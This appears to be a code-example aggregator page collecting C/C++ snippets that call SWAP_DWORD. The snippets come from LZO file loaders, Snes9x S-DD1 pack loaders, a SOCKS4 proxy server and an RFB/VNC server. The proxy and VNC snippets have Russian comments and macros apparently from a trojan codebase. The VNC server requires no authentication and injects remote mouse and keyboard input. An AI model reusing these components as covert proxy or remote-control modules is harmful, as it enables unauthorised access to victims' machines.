示例#1
0
void FLZOFile::PostOpen ()
{
	if (m_File && m_Mode == EReading)
	{
		char sig[4];
		fread (sig, 4, 1, m_File);
		if (sig[0] != LZOSig[0] || sig[1] != LZOSig[1] || sig[2] != LZOSig[2] || sig[3] != LZOSig[3])
		{
			fclose (m_File);
			m_File = NULL;
		}
		else
		{
			DWORD sizes[2];
			fread (sizes, sizeof(DWORD), 2, m_File);
			SWAP_DWORD (sizes[0]);
			SWAP_DWORD (sizes[1]);
			unsigned int len = sizes[0] == 0 ? sizes[1] : sizes[0];
			m_Buffer = (byte *)Malloc (len+8);
			fread (m_Buffer+8, len, 1, m_File);
			SWAP_DWORD (sizes[0]);
			SWAP_DWORD (sizes[1]);
			((DWORD *)m_Buffer)[0] = sizes[0];
			((DWORD *)m_Buffer)[1] = sizes[1];
			Explode ();
		}
	}
}
示例#2
0
void FLZOMemFile::Serialize (FArchive &arc)
{
	if (arc.IsStoring ())
	{
		if (m_ImplodedBuffer == NULL)
		{
			I_Error ("FLZOMemFile must be imploded before storing\n");
			// Q: How do we get here without closing FLZOMemFile first?
			Close ();
		}
		arc.Write (LZOSig, 4);

		DWORD sizes[2];
		sizes[0] = ((DWORD *)m_ImplodedBuffer)[0];
		sizes[1] = ((DWORD *)m_ImplodedBuffer)[1];
		SWAP_DWORD (sizes[0]);
		SWAP_DWORD (sizes[1]);
		arc.Write (m_ImplodedBuffer, (sizes[0] ? sizes[0] : sizes[1])+8);
	}
	else
	{
		Close ();
		m_Mode = EReading;

		char sig[4];
		DWORD sizes[2];

		arc.Read (sig, 4);

		if (sig[0] != LZOSig[0] || sig[1] != LZOSig[1] || sig[2] != LZOSig[2] || sig[3] != LZOSig[3])
			I_Error ("Expected to extract an LZO-compressed file\n");

		arc >> sizes[0] >> sizes[1];
		DWORD len = sizes[0] == 0 ? sizes[1] : sizes[0];

		m_Buffer = (BYTE *)Malloc (len+8);
		SWAP_DWORD (sizes[0]);
		SWAP_DWORD (sizes[1]);
		((DWORD *)m_Buffer)[0] = sizes[0];
		((DWORD *)m_Buffer)[1] = sizes[1];
		arc.Read (m_Buffer+8, len);
		m_ImplodedBuffer = m_Buffer;
		m_Buffer = NULL;
		m_Mode = EWriting;
	}
}
示例#3
0
void
S9xLoadSDD1Data ()
{
    char filename [_MAX_PATH + 1];
    char index [_MAX_PATH + 1];
    char data [_MAX_PATH + 1];
    char patch [_MAX_PATH + 1];

    Memory.FreeSDD1Data ();

    strcpy (filename, S9xGetSnapshotDirectory ());

    if (strncmp (Memory.ROMName, "Star Ocean", 10) == 0)
		strcat (filename, "/socnsdd1");
    else
		strcat (filename, "/sfa2sdd1");

    DIR *dir = opendir (filename);

    index [0] = 0;
    data [0] = 0;
    patch [0] = 0;

    if(dir){
		struct dirent *d;
	
		while ((d = readdir (dir))){
	    	if (strcasecmp (d->d_name, "SDD1GFX.IDX") == 0){
				strcpy (index, filename);
				strcat (index, "/");
				strcat (index, d->d_name);
	    	}else if(strcasecmp (d->d_name, "SDD1GFX.DAT") == 0){
				strcpy (data, filename);
				strcat (data, "/");
				strcat (data, d->d_name);
			}else if (strcasecmp (d->d_name, "SDD1GFX.PAT") == 0){
				strcpy (patch, filename);
				strcat (patch, "/");
				strcat (patch, d->d_name);	    		
	    	}
		}
		closedir (dir);

		if(strlen (index) && strlen (data)){
		    FILE *fs = fopen (index, "rb");
	    	int len = 0;

		    if(fs){
				// Index is stored as a sequence of entries, each entry being
				// 12 bytes consisting of:
				// 4 byte key: (24bit address & 0xfffff * 16) | translated block
				// 4 byte ROM offset
				// 4 byte length
				fseek (fs, 0, SEEK_END);
				len = ftell (fs);
				rewind (fs);
				Memory.SDD1Index = (uint8 *) malloc (len);
				fread (Memory.SDD1Index, 1, len, fs);
				fclose (fs);
				Memory.SDD1Entries = len / 12;
	
				if(!(fs = fopen (data, "rb"))){
			    	free ((char *) Memory.SDD1Index);
				    Memory.SDD1Index = NULL;
			    	Memory.SDD1Entries = 0;
				}else{
			    	fseek (fs, 0, SEEK_END);
				    len = ftell (fs);
				    rewind (fs);
			    	Memory.SDD1Data = (uint8 *) malloc (len);
			    	fread (Memory.SDD1Data, 1, len, fs);
				    fclose (fs);

				    if(strlen (patch) > 0 && (fs = fopen (patch, "rb"))){
						fclose (fs);
		    		}
#ifdef MSB_FIRST
			    	// Swap the byte order of the 32-bit value triplets on
			    	// MSBFirst machines.
			    	uint8 *ptr = Memory.SDD1Index;
		    		for(int i = 0; i < Memory.SDD1Entries; i++, ptr += 12){
						SWAP_DWORD ((*(uint32 *) (ptr + 0)));
						SWAP_DWORD ((*(uint32 *) (ptr + 4)));
						SWAP_DWORD ((*(uint32 *) (ptr + 8)));
				    }
#endif
			    	qsort(Memory.SDD1Index, Memory.SDD1Entries, 12, S9xCompareSDD1IndexEntries);
				}
	    	}
		}else{
	    	printf ("Decompressed data pack not found in '%s'.\n", filename);
		}
    }
}
示例#4
0
/*
  http://www.sockschain.com/doc/socks4_protocol.htm
*/
bool Socks5Server::_start4(SOCKET s, DWORD timeout)
{
  DWORD flags = WSocket::getFamily(s) == AF_INET6 ? S5_CLIENT_IS_IPV6 : S5_CLIENT_IS_IPV4;
  SOCKS4_QUERY sq;

  //Получам заголовок.
  if(!WSocket::tcpRecvAll(s, &sq, sizeof(SOCKS4_QUERY), timeout))return false;

  //Получаем UserID
  for(;;)
  {
    BYTE tmp;
    if(!WSocket::tcpRecvAll(s, &tmp, sizeof(BYTE), timeout))return false;
    if(tmp == 0)break;
  }
  
  BYTE replyCode = 90; //успешный    
  
  //Получаем запрос 4a
  DWORD tmpDword = SWAP_DWORD(sq.destIp);

  if(tmpDword > 0 && tmpDword < 256)
  {
    BYTE domain[MAXBYTE + 1];
    for(int i = 0; ; i++)
    {
      BYTE tmpByte;
      if(i > 255 || !WSocket::tcpRecvAll(s, &tmpByte, sizeof(BYTE), timeout))return false;
      domain[i] = tmpByte;
      if(tmpByte == 0)break;
    }
    
    struct addrinfo *addrInfoList = NULL;
    if(CWA(ws2_32, getaddrinfo)((char *)domain, NULL, NULL, &addrInfoList) != 0)replyCode = 91; //request rejected or failed
    else
    {
      //Цикл для поиска IPv4.
      register struct addrinfo *curAddrInfo = addrInfoList;
      while(curAddrInfo)
      {
        if(curAddrInfo->ai_family == AF_INET)
        {
          Mem::_copy(&sq.destIp, &(((SOCKADDR_IN *)(curAddrInfo->ai_addr))->sin_addr), IPv4_SIZE);
          break;
        }
        curAddrInfo = curAddrInfo->ai_next;
      }
      CWA(ws2_32, freeaddrinfo)(addrInfoList);

      //IPv4 не найден
      if(curAddrInfo == NULL)replyCode = 91; //request rejected or failed
    }
  }

  bool retVal = true;
  
  //Обработка команды.
  if(replyCode == 90)
  {
    SOCKADDR_IN sa;
    Mem::_zero(&sa, sizeof(sockaddr_in));
    sa.sin_family = AF_INET;

    switch(sq.command)
    {
      //CONNECT
      case 1:
      {
        sa.sin_port             = sq.destPort;
        sa.sin_addr.S_un.S_addr = sq.destIp;
        
        SOCKET destSocket = WSocket::tcpConnect((SOCKADDR_STORAGE *)&sa);
        if(destSocket == INVALID_SOCKET)replyCode = 91; //request rejected or failed
        else
        {
          WSocket::tcpDisableDelay(destSocket, true);
          int l = socks4Reply(s, destSocket, replyCode, flags);
          if(l == 1)WSocket::tcpTunnel(s, destSocket);
          else if(l == -1)replyCode = 91; //request rejected or failed
          else retVal = false;
          WSocket::tcpClose(destSocket);
        }
        break;
      }
      
      //BIND
      case 2:
      {
        SOCKET destSocket;
        if((destSocket = WSocket::tcpListen((SOCKADDR_STORAGE *)&sa, 1)) == INVALID_SOCKET)replyCode = 91; //request rejected or failed
        else
        {
          int l = socks4Reply(s, destSocket, replyCode, flags);
          if(l == 1)
          {
            SOCKET incomingSocket = WSocket::tcpWaitForIncomingAndAccept(&destSocket, 1, 0, NULL, NULL, &s, 1);
            WSocket::tcpClose(destSocket);

            //Вообще здесь нужно проверить с нужного ли IP подключился сервер, но я не считаю 
            //это нужным.
            if(incomingSocket == INVALID_SOCKET)replyCode = 91; //request rejected or failed
            else
            {              
              WSocket::tcpDisableDelay(incomingSocket, true);
              if((l = socks4Reply(s, incomingSocket, replyCode, flags | S5_ONREPLY_PEER_NAME)) == 1)
              {
                WSocket::tcpTunnel(s, incomingSocket);                
              }
              WSocket::tcpClose(incomingSocket);
            }
          }
          else WSocket::tcpClose(destSocket);

          if(l == -1)replyCode = 91; //request rejected or failed
          else if(l != 1)retVal = false;
        }
        break;
      }

      default: replyCode = 91; //request rejected or failed
    }
  }   

  //Обработка ошибки.  
  return (retVal == true && replyCode != 90) ?
         (socks4Reply(s, INVALID_SOCKET, replyCode, flags) != 0 ? true : false) :
          retVal;
}
示例#5
0
文件: sdd1.cpp 项目: dtzWill/supernes
void S9xLoadSDD1Data ()
{
	char packdir[_MAX_PATH + 1];

	// Unload any previous pack
	Settings.SDD1Pack = FALSE;
	Memory.FreeSDD1Data();

	if (!S9xGetSDD1Dir(packdir)) {
		printf("SDD1: Didn't found pack for this ROM\n");
		return;
	}

	printf("SDD1: Searching for pack in %s\n", packdir);
	Settings.SDD1Pack=TRUE;

	char index[_MAX_PATH + 1];
	char data[_MAX_PATH + 1];
	char patch[_MAX_PATH + 1];
	DIR *dir = opendir(packdir);

	index[0] = 0;
	data[0] = 0;
	patch[0] = 0;

	if (dir) {
		struct dirent *d;

		while ((d = readdir (dir))) {
			if (strcasecmp (d->d_name, "SDD1GFX.IDX") == 0) {
				strcpy(index, packdir);
				strcat(index, "/");
				strcat(index, d->d_name);
			} else if (strcasecmp (d->d_name, "SDD1GFX.DAT") == 0) {
				strcpy(data, packdir);
				strcat(data, "/");
				strcat(data, d->d_name);
			} else if (strcasecmp (d->d_name, "SDD1GFX.PAT") == 0) {
				strcpy(patch, packdir);
				strcat(patch, "/");
				strcat(patch, d->d_name);
			}
		}
		closedir (dir);
	}

	if (strlen (index) && strlen (data)) {
		FILE *fs = fopen (index, "rb");
		int len = 0;

		if (fs)	{
			// Index is stored as a sequence of entries, each entry being
			// 12 bytes consisting of:
			// 4 byte key: (24bit address & 0xfffff * 16) | translated block
			// 4 byte ROM offset
			// 4 byte length

			fseek (fs, 0, SEEK_END);
			len = ftell (fs);
			rewind (fs);
			Memory.SDD1Index = (uint8 *) malloc (len);
			fread (Memory.SDD1Index, 1, len, fs);
			fclose (fs);
			Memory.SDD1Entries = len / 12;
		} else {
			fprintf(stderr, "Failed to read SDD1 index file %s\n", index);
			return;
		}
		printf("SDD1: index: %s\n", PathBasename(index));

		if (!(fs = fopen (data, "rb")))	{
			fprintf(stderr, "Failed to read SDD1 data file %s\n", data);
			free ((char *) Memory.SDD1Index);
			Memory.SDD1Index = NULL;
			Memory.SDD1Entries = 0;
			return;
		} else {
			fseek (fs, 0, SEEK_END);
			len = ftell (fs);
			rewind (fs);
			Memory.SDD1Data = (uint8 *) malloc (len);
			fread (Memory.SDD1Data, 1, len, fs);
			fclose (fs);
		}
		printf("SDD1: data pack: %s\n", PathBasename(data));

		if (strlen (patch) > 0 && (fs = fopen (patch, "rb"))) {
			fclose (fs);
		}

#ifdef MSB_FIRST
		// Swap the byte order of the 32-bit value triplets on
		// MSBFirst machines.
		uint8 *ptr = Memory.SDD1Index;
		for (int i = 0; i < Memory.SDD1Entries; i++, ptr += 12) 	{
			SWAP_DWORD ((*(uint32 *) (ptr + 0)));
			SWAP_DWORD ((*(uint32 *) (ptr + 4)));
			SWAP_DWORD ((*(uint32 *) (ptr + 8)));
		}
#endif

		qsort(Memory.SDD1Index, Memory.SDD1Entries, 12,
			S9xCompareSDD1IndexEntries);
		printf("SDD1: Pack loaded succesfully\n");
	} else {
		fprintf(stderr, "SDD1: SDD1 data pack not found in '%s'\n",
			packdir);
		fprintf(stderr, "SDD1: Check if sdd1gfx files exist\n");
		printf("SDD1: Failed to load pack\n");
	}
}
示例#6
0
   void S9xLoadSDD1Data (void)
   {
    char filename [_MAX_PATH + 1];
    char index [_MAX_PATH + 1];
    char data [_MAX_PATH + 1];
    char patch [_MAX_PATH + 1];
	char text[256];
	//FILE *fs = fopen ("data.log", "w");

	Settings.SDD1Pack=TRUE;
	Memory.FreeSDD1Data ();

    gp_clearFramebuffer16(framebuffer16[currFB],0x0);
    sprintf(text,"Loading SDD1 pack...");
	gp_drawString(0,0,strlen(text),text,0xFFFF,(unsigned char*)framebuffer16[currFB]);
	MenuFlip();
	strcpy (filename, romDir);

    if (strncmp (Memory.ROMName, "Star Ocean", 10) == 0)
	strcat (filename, "/socnsdd1");
    else
	strcat (filename, "/sfa2sdd1");

    DIR *dir = opendir (filename);

    index [0] = 0;
    data [0] = 0;
    patch [0] = 0;

 	//fprintf(fs,"SDD1 data: %s...\n",filename);
    if (dir)
    {
	struct dirent *d;
	
		while ((d = readdir (dir)))
		{
			//fprintf(fs,"File :%s.\n",d->d_name);
			if (strcasecmp (d->d_name, "sdd1gfx.idx") == 0)
			{
			strcpy (index, filename);
			strcat (index, "/");
			strcat (index, d->d_name);
			//fprintf(fs,"File :%s.\n",index);
			}
			else
			if (strcasecmp (d->d_name, "sdd1gfx.dat") == 0)
			{
			strcpy (data, filename);
			strcat (data, "/");
			strcat (data, d->d_name);
			//fprintf(fs,"File :%s.\n",data);
			}
			if (strcasecmp (d->d_name, "sdd1gfx.pat") == 0)
			{
			strcpy (patch, filename);
			strcat (patch, "/");
			strcat (patch, d->d_name);
			}
		}
		closedir (dir);
	
		if (strlen (index) && strlen (data))
		{
			FILE *fs = fopen (index, "rb");
			int len = 0;
	
			if (fs)
			{
			// Index is stored as a sequence of entries, each entry being
			// 12 bytes consisting of:
			// 4 byte key: (24bit address & 0xfffff * 16) | translated block
			// 4 byte ROM offset
			// 4 byte length
			fseek (fs, 0, SEEK_END);
			len = ftell (fs);
			rewind (fs);
			Memory.SDD1Index = (uint8 *) malloc (len);
			fread (Memory.SDD1Index, 1, len, fs);
			fclose (fs);
			Memory.SDD1Entries = len / 12;
	
			if (!(fs = fopen (data, "rb")))
			{
				free ((char *) Memory.SDD1Index);
				Memory.SDD1Index = NULL;
				Memory.SDD1Entries = 0;
			}
			else
			{
				fseek (fs, 0, SEEK_END);
				len = ftell (fs);
				rewind (fs);
				Memory.SDD1Data = (uint8 *) malloc (len);
				fread (Memory.SDD1Data, 1, len, fs);
				fclose (fs);
	
				if (strlen (patch) > 0 &&
				(fs = fopen (patch, "rb")))
				{
				fclose (fs);
				}
	#ifdef MSB_FIRST
				// Swap the byte order of the 32-bit value triplets on
				// MSBFirst machines.
				uint8 *ptr = Memory.SDD1Index;
				for (int i = 0; i < Memory.SDD1Entries; i++, ptr += 12)
				{
				SWAP_DWORD ((*(uint32 *) (ptr + 0)));
				SWAP_DWORD ((*(uint32 *) (ptr + 4)));
				SWAP_DWORD ((*(uint32 *) (ptr + 8)));
				}
	#endif
				qsort (Memory.SDD1Index, Memory.SDD1Entries, 12,
				   S9xCompareSDD1IndexEntries);
			}
			}
			Settings.SDD1Pack = FALSE;
			return;
		}
    }
	//fprintf(fs,"Decompressed data pack not found in '%s'\n",filename);
	//fclose(fs);
	gp_clearFramebuffer16(framebuffer16[currFB],0x0);
	sprintf(text,"Decompressed data pack not found!");
	gp_drawString(0,8,strlen(text),text,0xFFFF,(unsigned char*)framebuffer16[currFB]);
	MenuFlip();
	MenuPause();
   }
示例#7
0
void Rfb::_ServerThread(SOCKET s, DWORD dwTimeout, SERVER_CALLBACKS *pCallbacks, HANDLE hDIBMap, DWORD mapOffset, HANDLE updateMutex, DWORD dwRefreshInterval)
{
  #if defined(WDEBUG0)
  WDEBUG0(WDDT_INFO, "Session started");
  #endif

  /*
    Handshaking begins by the server sending the client a ProtocolVersion message. This
    lets the client know which is the highest Rfb protocol version number supported by
    the server.
  */
  if(!WSocket::tcpSend(s, "RFB 003.003\n", 12))return;

  /*
    The client then replies with a similar message giving the version number of
    the protocol which should actually be used (which may be different to that quoted by
    the server). A client should never request a protocol version higher than that offered
    by the server.
  */
  {
    char ver[13];

    if(!WSocket::tcpRecvAll(s, ver, sizeof(ver) - 1, dwTimeout) || Str::_CompareA(ver, "RFB ", 4, 4) != 0)return;
    
    ver[7] = 0;
    ver[11] = 0;

    WORD wClientVer = MAKEWORD(Str::_ToInt32A(ver + 4, NULL), Str::_ToInt32A(ver + 8, NULL));
    if(wClientVer > MAKEWORD(3, 6) || wClientVer < MAKEWORD(3, 3))return;
  }

  /*
    Once the protocol version has been decided, the server and client must agree on the
    type of security to be used on the connection.
  */
  {
    DWORD dwST = Rfb::ST_NONE;
    LPSTR pstrMessage = NULL;
    DWORD dwSTSwap;
   
    //Getting the type of authorization.
    pCallbacks->onSecurityType(pCallbacks->param, &dwST, &pstrMessage);
    dwSTSwap = SWAP_DWORD(dwST);
    if(!WSocket::tcpSend(s, &dwSTSwap, sizeof(DWORD)))dwST = ST_ERROR;
    
    //Reaction to the type of authorization.
    switch(dwST)
    {
      case Rfb::ST_NONE: break;
      case Rfb::ST_INVALID: SendANSIMessage(s, pstrMessage);
      default: return;
    }
  }

  /*
    Once the client and server are sure that they’re happy to talk to one another using the
    agreed security type, the protocol passes to the initialisation phase. The client sends a
    ClientInit message followed by the server sending a ServerInit message
  */
  {
    BYTE bShared;
    if(!WSocket::tcpRecvAll(s, &bShared, sizeof(BYTE), dwTimeout) || !pCallbacks->onClientInit(pCallbacks->param, bShared == 0 ? 0 : 1))return;
  }

  /*
    After receiving the ClientInit message, the server sends a ServerInit message. This
    tells the client the width and height of the server’s framebuffer, its pixel format and the
    name associated with the desktop
  */
  
  INTERNAL_DATA *pInternalData;

  {
    LPSTR pstrName = NULL;
    POINT size;
    HDC memoryDc = pCallbacks->onServerInit(pCallbacks->param, &pstrName, &size);
    
    if(memoryDc == NULL || (pInternalData = InitINTERNAL_DATA(memoryDc, &size, hDIBMap, mapOffset)) == NULL)return;
    
    //Osovnye data.
    DWORD dwNameLen = Str::_LengthA(pstrName);
    Rfb::MSG_SERVERINIT ServerInit;

    ServerInit.wFrameBufferWidth  = SWAP_WORD(pInternalData->wWidth);
    ServerInit.wFrameBufferHeight = SWAP_WORD(pInternalData->wHeight);
    ServerInit.dwNameLength       = SWAP_DWORD(dwNameLen);

    Mem::_copy(&ServerInit.pf, &pInternalData->pfLocalPixel, sizeof(Rfb::PIXEL_FORMAT));
    ServerInit.pf.wRedMax   = SWAP_WORD(ServerInit.pf.wRedMax);
    ServerInit.pf.wGreenMax = SWAP_WORD(ServerInit.pf.wGreenMax);
    ServerInit.pf.wBlueMax  = SWAP_WORD(ServerInit.pf.wBlueMax);

    //Otprovlyaem answer.
    if(!WSocket::tcpSend(s, &ServerInit, sizeof(Rfb::MSG_SERVERINIT)) || (dwNameLen > 0 && !WSocket::tcpSend(s, pstrName, dwNameLen)))
    {
      FreeINTERNAL_DATA(pInternalData);
      return;
    }
  }
  
  //The last state myshy.
  EVENT_POINTER epLast;
  epLast.bButtonMask = 0;
  epLast.wXPos = 0xFFFF;
  epLast.wYPos = 0xFFFF;

  //The last state clave.
  BYTE ekVirtualCodes[0xFF];
  BYTE ekCharCodes[0xFF];
  Mem::_zero(ekVirtualCodes, sizeof(ekVirtualCodes));
  Mem::_zero(ekCharCodes, sizeof(ekCharCodes));

  //The list of areas that are pending renewal.
  DWORD dwWaitRectsCount  = 0;
  RECTANGLE *prcWaitRects = NULL;

  //Processing cycle "Client to server messages".
  for(;;)
  {
    //Expectation of change which could not be obtained at the time of FramebufferUpdateRequest.
    if(dwWaitRectsCount > 0 && WSocket::tcpWaitForEvent(&s, 1, dwRefreshInterval, NULL, 0) == INVALID_SOCKET)
    {
      if(CWA(ws2_32, WSAGetLastError)() != WSAETIMEDOUT)goto END_LOOP;

      if(updateMutex != NULL)CWA(kernel32, WaitForSingleObject)(updateMutex, INFINITE);
      pCallbacks->OnUpdateDC(pCallbacks->param);
      for(DWORD i = 0; i < dwWaitRectsCount; i++)if(prcWaitRects[i].wWidth > 0 && prcWaitRects[i].wHeight > 0)
      {
        switch(SendChangedRects(s, pInternalData, &prcWaitRects[i]))
        {
          case -1:;
          case  0:
            if(updateMutex != NULL)CWA(kernel32, ReleaseMutex)(updateMutex);
            goto END_LOOP;
          
          case  1:
            if(i + 1 == dwWaitRectsCount)Mem::reallocEx(&prcWaitRects, sizeof(RECTANGLE) * (--dwWaitRectsCount));
            else Mem::_zero(&prcWaitRects[i], sizeof(RECTANGLE));
            break;
          //case 2: break;
        }
      }
      if(updateMutex != NULL)CWA(kernel32, ReleaseMutex)(updateMutex);
      continue;
    }

    //Getting the team.
    BYTE bMsg;
    if(!WSocket::tcpRecvAll(s, &bMsg, sizeof(BYTE), dwTimeout))goto END_LOOP;
    
    switch(bMsg)
    {
      /*
        Sets the format in which pixel values should be sent in FramebufferUpdate messages.
        If the client does not send a SetPixelFormat message then the server sends pixel values
        in its natural format as specified in the ServerInit message (section 6.3.2).
      */
      case 0: //SetPixelFormat
      {
        Rfb::PIXEL_FORMAT pf;
        
        if(!WSocket::tcpRecvAllToNull(s, 3, dwTimeout) || !WSocket::tcpRecvAll(s, &pf, sizeof(Rfb::PIXEL_FORMAT), dwTimeout))goto END_LOOP;
        if(!IsValidPIXEL_FORMAT(&pf, false))goto END_LOOP;
        
        pf.wRedMax     = SWAP_WORD(pf.wRedMax);
        pf.wGreenMax   = SWAP_WORD(pf.wGreenMax);
        pf.wBlueMax    = SWAP_WORD(pf.wBlueMax);
        
        //Paranoia.
        pf.bTrueColour = pf.bTrueColour == 0 ? FALSE : TRUE;
        pf.bBigEndian  = pf.bBigEndian  == 0 ? FALSE : TRUE;

        Mem::_copy(&pInternalData->pfRemotePixel, &pf, sizeof(Rfb::PIXEL_FORMAT));
        pInternalData->bRemotePixelSize = pf.bBitsPerPixel / 8;
        break;
      }

      /*
        Sets the encoding types in which pixel data can be sent by the server. The order of the
        encoding types given in this message is a hint by the client as to its preference (the first
        encoding specified being most preferred). The server may or may not choose to make
        use of this hint. Pixel data may always be sent in raw encoding even if not specified
        explicitly here.
      */
      case 2: //SetEncodings
      {
        WORD wCount;

        if(!WSocket::tcpRecvAllToNull(s, 1, dwTimeout) || !WSocket::tcpRecvAll(s, &wCount, sizeof(WORD), dwTimeout))goto END_LOOP;
        pInternalData->dwCurrentEncoder = ENCODER_Raw;
        if((pInternalData->wEncodingsCount = SWAP_WORD(wCount)) > 0)
        {
          DWORD dwSize = pInternalData->wEncodingsCount * sizeof(DWORD);
          if(!Mem::reallocEx(&pInternalData->dwEncodingsList, dwSize) || !WSocket::tcpRecvAll(s, pInternalData->dwEncodingsList, dwSize, dwTimeout))goto END_LOOP;
          for(WORD i = 0; i < pInternalData->wEncodingsCount; i++)
          {
            pInternalData->dwEncodingsList[i] = SWAP_DWORD(pInternalData->dwEncodingsList[i]);

            //Choosing the best Kodak in my opinion.
            if(pInternalData->dwEncodingsList[i] == ENCODER_Hextile)pInternalData->dwCurrentEncoder = ENCODER_Hextile;
          }
        }
        pInternalData->dwCurrentEncoderSwapped = SWAP_DWORD(pInternalData->dwCurrentEncoder);

        //Create or udayalem buffer Hexlite.
        if(pInternalData->dwCurrentEncoder == ENCODER_Hextile)
        {
          if(pInternalData->pHextileBuffer == NULL && (pInternalData->pHextileBuffer = Mem::alloc(HEXTILE_BUFFER_SIZE)) == NULL)goto END_LOOP;
        }
        else
        {
          Mem::free(pInternalData->pHextileBuffer);
          pInternalData->pHextileBuffer = NULL;
        }
        break;
      }

      /*
        Notifies the server that the client is interested in the area of the framebuffer specified
        by x-position, y-position, width and height. The server usually responds to a
        FramebufferUpdateRequest by sending a FramebufferUpdate. Note however that a single
        FramebufferUpdate may be sent in reply to several FramebufferUpdateRequests
      */
      case 3: //FramebufferUpdateRequest
      {
        RECTANGLE rect;
        if(!WSocket::tcpRecvAll(s, &rect, sizeof(RECTANGLE), dwTimeout))goto END_LOOP;
        
        rect.wXPos        = SWAP_WORD(rect.wXPos);
        rect.wYPos        = SWAP_WORD(rect.wYPos);
        rect.wWidth       = SWAP_WORD(rect.wWidth);
        rect.wHeight      = SWAP_WORD(rect.wHeight);
        rect.bIncremental = rect.bIncremental == FALSE ? FALSE : TRUE;
        
        //Add to the list box.
        DWORD i = 0;
        for(; i < dwWaitRectsCount; i++)if(prcWaitRects[i].wWidth == 0 && prcWaitRects[i].wHeight == 0)break;
        if(i == dwWaitRectsCount && !Mem::reallocEx(&prcWaitRects, sizeof(RECTANGLE) * (++dwWaitRectsCount)))goto END_LOOP;
        Mem::_copy(&prcWaitRects[i], &rect, sizeof(RECTANGLE));
        
        break;
      }

      /*
        A key press or release.
      */
      case 4: //KeyEvent
      {
        Rfb::EVENT_KEY ek;
        if(!WSocket::tcpRecvAll(s, &ek, sizeof(Rfb::EVENT_KEY), dwTimeout))goto END_LOOP;
        pCallbacks->onKeyEvent(pCallbacks->param, SWAP_DWORD(ek.dwKeyCode), (ek.bIsDown != 0));
        break;
      }

      /*
        Indicates either pointer movement or a pointer button press or release.
      */
      case 5: //PointerEvent
      {
        Rfb::EVENT_POINTER ep;
        if(!WSocket::tcpRecvAll(s, &ep, sizeof(Rfb::EVENT_POINTER), dwTimeout))goto END_LOOP;
        
        ep.wXPos = SWAP_WORD(ep.wXPos);
        ep.wYPos = SWAP_WORD(ep.wYPos);
        
        DWORD dwWheel = 0;
        DWORD dwFlags = MOUSEEVENTF_ABSOLUTE;
        bool bSwapped = (CWA(user32, GetSystemMetrics)(SM_SWAPBUTTON) != 0) ? true : false;

        //Move the cursor.
        if(ep.wXPos != epLast.wXPos || ep.wYPos != epLast.wYPos)dwFlags |= MOUSEEVENTF_MOVE;

        //The left button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_LEFT) != (epLast.bButtonMask & MASK_POINTER_BUTTON_LEFT))
        {
          if(ep.bButtonMask & MASK_POINTER_BUTTON_LEFT)dwFlags |= bSwapped ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_LEFTDOWN;
          else dwFlags |= bSwapped ? MOUSEEVENTF_RIGHTUP : MOUSEEVENTF_LEFTUP;
        }
        
        //The right button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_RIGHT) != (epLast.bButtonMask & MASK_POINTER_BUTTON_RIGHT))
        {
          if(ep.bButtonMask & MASK_POINTER_BUTTON_RIGHT)dwFlags |= bSwapped ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_RIGHTDOWN;
          else dwFlags |= bSwapped ? MOUSEEVENTF_LEFTUP : MOUSEEVENTF_RIGHTUP;
        }

        //The middle button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_MIDDLE) != (epLast.bButtonMask & MASK_POINTER_BUTTON_MIDDLE))
        {
          dwFlags |= (ep.bButtonMask & MASK_POINTER_BUTTON_MIDDLE) ? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP;
        }

        //Scroll Up
        if((ep.bButtonMask & MASK_POINTER_WHEEL_UP)/* && (epLast.bButtonMask & MASK_POINTER_WHEEL_UP) == 0*/)
        {
          dwFlags |= MOUSEEVENTF_WHEEL;
          dwWheel  = WHEEL_DELTA;
        }

        //Scroll Down
        if((ep.bButtonMask & MASK_POINTER_WHEEL_DOWN)/* && (epLast.bButtonMask & MASK_POINTER_WHEEL_DOWN) == 0*/)
        {
          dwFlags |= MOUSEEVENTF_WHEEL;
          dwWheel  = (DWORD)(-WHEEL_DELTA);
        }

        Mem::_copy(&epLast, &ep, sizeof(EVENT_POINTER));
        pCallbacks->OnPointerEvent(pCallbacks->param, dwFlags, ep.wXPos, ep.wYPos, dwWheel);
        break;
      }

      /*In In In In In In In In The client has new ISO 8859-1 (Latin-1) text in its cut buffer.
V V V V V V*/
      case 6: //ClientCutText
      {
        BYTE pad[3];
        DWORD dwLen;
        if(!WSocket::tcpRecvAll(s, pad, sizeof(pad), dwTimeout) || !WSocket::tcpRecvAll(s, &dwLen, sizeof(DWORD), dwTimeout))goto END_LOOP;

        dwLen = SWAP_DWORD(dwLen);

        LPSTR pStr = (LPSTR)Mem::alloc(dwLen + 1);
        if(pStr == NULL)
        {
          Mem::free(pStr);
          goto END_LOOP;
        }
        
        if(!WSocket::tcpRecvAll(s, pStr, dwLen, dwTimeout))goto END_LOOP;
        
        pCallbacks->OnClientCutText(pCallbacks->param, dwLen, pStr);
        Mem::free(pStr);
        break;
      }

      default: goto END_LOOP;
    }
  }

END_LOOP: 
  
  #if defined(WDEBUG0)
  WDEBUG0(WDDT_INFO, "Session stopped");
  #endif
  
  FreeINTERNAL_DATA(pInternalData);
  Mem::free(prcWaitRects);
}
示例#8
0
/*
  Отправка ANSI-сообщения в формате [DWORD][BYTE[x]].

  IN s           - сокет.
  IN pstrMessage - сообщение.

  Return         - true - в случаи успеха,
                   false - в случаи ошибки.
*/
static bool SendANSIMessage(SOCKET s, LPSTR pstrMessage)
{
  DWORD dwLen = Str::_LengthA(pstrMessage);
  DWORD dwLenSwap = SWAP_DWORD(dwLen);
  return (WSocket::tcpSend(s, &dwLenSwap, sizeof(DWORD)) && (dwLen == 0 || WSocket::tcpSend(s, pstrMessage, dwLen))) ? true : false;
}